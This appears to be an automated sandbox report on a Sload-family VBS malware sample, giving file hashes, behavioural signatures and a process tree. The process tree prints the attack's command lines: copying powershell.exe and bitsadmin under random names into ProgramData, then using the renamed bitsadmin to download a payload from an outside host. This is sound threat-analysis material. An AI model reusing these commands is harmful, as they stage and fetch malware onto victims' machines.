Analysis
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max time kernel
25s -
max time network
27s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
23-11-2020 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_Sload_Italy_vbs (20).vbs
Resource
win7v20201028
General
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Target
Allegato_Sload_Italy_vbs (20).vbs
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Size
7KB
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MD5
764c02c19ff5e5813528991248c34d08
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SHA1
d6c3be949a077865c84ae819265bf3a8acf4115f
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SHA256
189c235e1d8e1cd2bf2ad530c774a3004872956729b475edd53f0397b81c0806
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SHA512
77ab15c84a2472f65ff4966ef57b5ff85732e4c42158ed262a24bf64a874a89581ae16b24959c175230bc0e4933d4bff0f7921190ebfa9ff30a277e2cd8224f9
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
PXrnMVlin.exepid process 2036 PXrnMVlin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 308 wrote to memory of 1908 308 WScript.exe cmd.exe PID 308 wrote to memory of 1908 308 WScript.exe cmd.exe PID 308 wrote to memory of 1908 308 WScript.exe cmd.exe PID 1908 wrote to memory of 2000 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 2000 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 2000 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 1184 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 1184 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 1184 1908 cmd.exe cmd.exe PID 308 wrote to memory of 2036 308 WScript.exe PXrnMVlin.exe PID 308 wrote to memory of 2036 308 WScript.exe PXrnMVlin.exe PID 308 wrote to memory of 2036 308 WScript.exe PXrnMVlin.exe PID 308 wrote to memory of 2036 308 WScript.exe PXrnMVlin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (20).vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:308 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zdFWsdWA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PXrnMVl*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zdFWsdWA.exe3⤵PID:2000
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PXrnMVl*.exe3⤵PID:1184
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C:\ProgramData\PXrnMVlin.exe"C:\ProgramData\PXrnMVlin.exe" /transfer GxitvS /download https://estebankott.com/ordasum/SNNRRT80M06D205G/map.gif C:\Users\Admin\AppData\Roaming\map.gif2⤵
- Executes dropped EXE
PID:2036
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51